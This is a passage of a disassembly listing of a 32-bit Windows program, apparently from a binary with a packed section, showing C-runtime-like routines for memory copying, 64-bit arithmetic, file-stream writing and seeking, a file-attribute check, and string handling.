; =============== S U B R O U T I N E =======================================
sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp
; sub_423CC0+78p
push ebx
push ecx
mov ebx, offset dword_43AE2C
mov ecx, [ebp+8]
loc_41D630: ; CODE XREF: sub_41D61D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D626 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_40D340+5p
; sub_40D4E2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D640 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: sub_40D977+26p
; .packed:004260F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap
; sub_41E742+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D690
cmp edi, eax
jb loc_41D808
loc_41D690: ; CODE XREF: sub_41D670+16j
test edi, 3
jnz short loc_41D6AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
loc_41D6AC: ; CODE XREF: sub_41D670+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D6C4
and eax, 3
add ecx, eax
jmp dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D6C4: ; CODE XREF: sub_41D670+46j
jmp dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6CC: ; CODE XREF: sub_41D670+31j
; sub_41D670+8Ej ...
jmp off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6E0
dd offset loc_41D70C
dd offset loc_41D730
; ---------------------------------------------------------------------------
loc_41D6E0: ; DATA XREF: sub_41D670+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D70C: ; DATA XREF: sub_41D670+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D730: ; DATA XREF: sub_41D670+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr
dd offset loc_41D79C
dd offset loc_41D794
dd offset loc_41D78C
dd offset loc_41D784
dd offset loc_41D77C
dd offset loc_41D774
dd offset loc_41D76C
; ---------------------------------------------------------------------------
loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670:off_41D74Co
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r
; sub_41D670+92r ...
dd offset loc_41D7D0
dd offset loc_41D7DC
dd offset loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D7C8: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7D0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D7DC: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7F0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D808: ; CODE XREF: sub_41D670+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D83C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D830: ; CODE XREF: sub_41D670+1B1j
; sub_41D670+208j ...
neg ecx
jmp off_41D900[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D670+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D854
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D854: ; CODE XREF: sub_41D670+1D6j
; DATA XREF: sub_41D670+1DDr
jmp off_41D950[ecx*4]
; ---------------------------------------------------------------------------
align 4
push 880041D8h
fadd dword ptr [ecx+0]
mov al, 0D8h
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D904
dd offset loc_41D90C
dd offset loc_41D914
dd offset loc_41D91C
dd offset loc_41D924
dd offset loc_41D92C
dd offset loc_41D934
off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------
loc_41D904: ; DATA XREF: sub_41D670+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D90C: ; DATA XREF: sub_41D670+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D914: ; DATA XREF: sub_41D670+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D91C: ; DATA XREF: sub_41D670+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D924: ; DATA XREF: sub_41D670+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D92C: ; DATA XREF: sub_41D670+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D934: ; DATA XREF: sub_41D670+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D947: ; CODE XREF: sub_41D670+1C2j
; DATA XREF: sub_41D670:off_41D900o
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r
; sub_41D670:loc_41D854r ...
dd offset loc_41D968
dd offset loc_41D978
dd offset loc_41D98C
; ---------------------------------------------------------------------------
loc_41D960: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D968: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D978: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D98C: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D670 endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p
; sub_40DA4F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p
arg_0 = dword ptr 4
push esi
push dword_4DD39C
call sub_422EA8
mov edx, dword_4DD39C
pop ecx
mov ecx, dword_4DD398
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41DA12
push edx
call sub_422EA8
add eax, 10h
push eax
push dword_4DD39C
call sub_41BBE2
add esp, 0Ch
test eax, eax
jnz short loc_41D9F5
retn
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj
mov ecx, dword_4DD398
sub ecx, dword_4DD39C
mov dword_4DD39C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DD398, ecx
loc_41DA12: ; CODE XREF: sub_41D9B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DD398, 4
retn
sub_41D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D9B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
sub_41DA32 proc near ; DATA XREF: .packed:00429018o
push 80h
call sub_41BEB5
test eax, eax
pop ecx
mov dword_4DD39C, eax
jnz short loc_41DA53
push 18h
call sub_41E2C9
mov eax, dword_4DD39C
pop ecx
loc_41DA53: ; CODE XREF: sub_41DA32+12j
and dword ptr [eax], 0
mov eax, dword_4DD39C
mov dword_4DD398, eax
retn
sub_41DA32 endp
; =============== S U B R O U T I N E =======================================
sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap
; sub_40DB5E+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41DA75
loc_41DA6D: ; CODE XREF: sub_41DA61+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41DA6D
loc_41DA75: ; CODE XREF: sub_41DA61+Aj
mov edx, [esp+arg_4]
push esi
loc_41DA7A: ; CODE XREF: sub_41DA61+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41DA7A
pop esi
retn
sub_41DA61 endp
; =============== S U B R O U T I N E =======================================
sub_41DA8B proc near ; CODE XREF: sub_412197+26Ep
; sub_412197+365p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB07
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41DAAA
cmp edi, 1
jz short loc_41DAAA
cmp edi, 2
jnz short loc_41DB07
loc_41DAAA: ; CODE XREF: sub_41DA8B+13j
; sub_41DA8B+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DAC1
push esi
call sub_422FA3
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_41DAC1: ; CODE XREF: sub_41DA8B+27j
push esi
call sub_41E42B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DAD6
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD6: ; CODE XREF: sub_41DA8B+42j
test al, 1
jz short loc_41DAEA
test al, 8
jz short loc_41DAEA
test ah, 4
jnz short loc_41DAEA
mov dword ptr [esi+18h], 200h
loc_41DAEA: ; CODE XREF: sub_41DA8B+49j
; sub_41DA8B+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_422F09
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB07: ; CODE XREF: sub_41DA8B+Bj
; sub_41DA8B+1Dj
mov dword_4DBDDC, 16h
or eax, 0FFFFFFFFh
loc_41DB14: ; CODE XREF: sub_41DA8B+7Aj
pop edi
pop esi
retn
sub_41DA8B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep
; sub_4143F7+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DB39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: sub_41DB20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB54 proc near ; CODE XREF: sub_416563+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DB78
xor eax, eax
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB78: ; CODE XREF: sub_41DB54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DB8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DB92
; ---------------------------------------------------------------------------
loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj
mov [ebp+arg_C], 1000h
loc_41DB92: ; CODE XREF: sub_41DB54+35j
; sub_41DB54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DBC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DBC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DBAC
mov edi, eax
loc_41DBAC: ; CODE XREF: sub_41DB54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CD20
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DC0C
; ---------------------------------------------------------------------------
loc_41DBC6: ; CODE XREF: sub_41DB54+47j
; sub_41DB54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DC11
test ecx, ecx
jz short loc_41DBDA
push esi
call sub_41E42B
test eax, eax
pop ecx
jnz short loc_41DC53
loc_41DBDA: ; CODE XREF: sub_41DB54+79j
cmp [ebp+arg_C], 0
jz short loc_41DBED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DBEF
; ---------------------------------------------------------------------------
loc_41DBED: ; CODE XREF: sub_41DB54+8Aj
mov edi, ebx
loc_41DBEF: ; CODE XREF: sub_41DB54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DC4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DC4A
loc_41DC0C: ; CODE XREF: sub_41DB54+70j
mov edi, [ebp+var_4]
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DC11: ; CODE XREF: sub_41DB54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FE2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DC3A
mov [ebp+arg_C], 1
loc_41DC3A: ; CODE XREF: sub_41DB54+BBj
; sub_41DB54+DDj
test ebx, ebx
jnz loc_41DB92
mov eax, [ebp+arg_8]
loc_41DC45: ; CODE XREF: sub_41DB54+1Fj
; sub_41DB54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DC4A: ; CODE XREF: sub_41DB54+ADj
; sub_41DB54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DC55
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DB54+84j
; sub_41DB54+CFj
mov eax, edi
loc_41DC55: ; CODE XREF: sub_41DB54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DC45
sub_41DB54 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
call dword_427094 ; RtlGetLastWin32Error
push eax
call sub_420C7F
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDDC, 0Dh
mov dword_4DBDE0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp
; sub_41AED9+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DCD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD13
; ---------------------------------------------------------------------------
loc_41DCD2: ; CODE XREF: sub_41DCB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DD0E
cmp edx, [esp+8+arg_4]
ja short loc_41DD0E
jb short loc_41DD0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DD0F
loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej
; sub_41DCB0+54j
dec esi
loc_41DD0F: ; CODE XREF: sub_41DCB0+56j
; sub_41DCB0+5Cj
xor edx, edx
mov eax, esi
loc_41DD13: ; CODE XREF: sub_41DCB0+20j
pop esi
pop ebx
retn 10h
sub_41DCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp
; sub_41AED9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DD41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD41: ; CODE XREF: sub_41DD20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DD4F: ; CODE XREF: sub_41DD20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DD4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DD7A
cmp edx, [esp+4+arg_4]
ja short loc_41DD7A
jb short loc_41DD82
cmp eax, [esp+4+arg_0]
jbe short loc_41DD82
loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj
; sub_41DD20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DD82: ; CODE XREF: sub_41DD20+52j
; sub_41DD20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DD91: ; CODE XREF: sub_41DD20+1Fj
pop ebx
retn 10h
sub_41DD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp
; sub_416DD9+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DDC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DDDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DDDD: ; CODE XREF: sub_41DDA0+27j
or eax, eax
jnz short loc_41DDF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DE3A
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DE07: ; CODE XREF: sub_41DDA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DE07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DE35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DE35
jb short loc_41DE36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DE36
loc_41DE35: ; CODE XREF: sub_41DDA0+85j
; sub_41DDA0+8Bj
dec esi
loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj
; sub_41DDA0+93j
xor edx, edx
mov eax, esi
loc_41DE3A: ; CODE XREF: sub_41DDA0+57j
dec edi
jnz short loc_41DE44
neg edx
neg eax
sbb edx, 0
loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE4A proc near ; CODE XREF: sub_417493+BFp
; sub_417493+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBE84
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DE7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DEE5
loc_41DE66: ; CODE XREF: sub_41DE4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DE77
cmp cl, 7Ah
jg short loc_41DE77
sub cl, 20h
mov [edx], cl
loc_41DE77: ; CODE XREF: sub_41DE4A+21j
; sub_41DE4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DE66
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DE7E: ; CODE XREF: sub_41DE4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4232A8
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DED7
push edi
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DED7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41DED7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C890
pop ecx
pop ecx
loc_41DED7: ; CODE XREF: sub_41DE4A+53j
; sub_41DE4A+61j ...
push [ebp+var_4]
call sub_41BA91
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj
; sub_41DE4A+32j
pop ebx
leave
retn
sub_41DE4A endp
; =============== S U B R O U T I N E =======================================
sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DEFF
push 4
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DEFF: ; CODE XREF: sub_41DEE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DEE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p
; sub_420DB0+88p ...
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DF27
push 8
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DF27: ; CODE XREF: sub_41DF10+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DF8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DF8D
test eax, 1
jz short loc_41DF6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DFBA
inc esi
